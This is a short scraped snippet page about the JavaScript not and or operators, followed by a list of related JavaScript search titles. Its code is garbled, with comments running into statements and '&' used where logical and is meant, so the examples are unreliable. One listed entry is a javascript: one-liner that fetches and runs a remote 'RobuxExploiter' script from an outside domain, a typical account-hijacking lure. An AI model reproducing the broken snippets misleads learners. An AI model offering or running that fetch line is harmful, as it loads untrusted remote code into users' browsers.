not operator js
// || means orlet a = true;
let b = !a;
console.log(b); //output: falselet a = 1;
let b = -1;
if (a > 0 & b > 0){
console.log("and");
} else if (a > 0 || b > 0){
console.log("or");
}
Also in JavaScript:
- toggle one class add and one class remove same time and after click remove class add and add class remove jquery
- javascript hasclass
- restrict the user from going to signup or login page if the user is already logged in firebase auth
- javascript online compiler
- Truthy and Falsy js
- access css property using javascript
- styling element using jquery
- get json by id
- how to check if a number is even or odd in javascript
- split string javascript
- how to log something in the console. javascript
- <FilterProvider> errorr
- merge two objects javascript
- reverse a string program in javascript
- Javascript generate random string
- using aria attributes in angular
- route in component react
- XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
- js comment
- update angular cli 10
- javascript variable declaration
- placeholder text disappear when click in react
- merge objects javascript es6
- jquery change text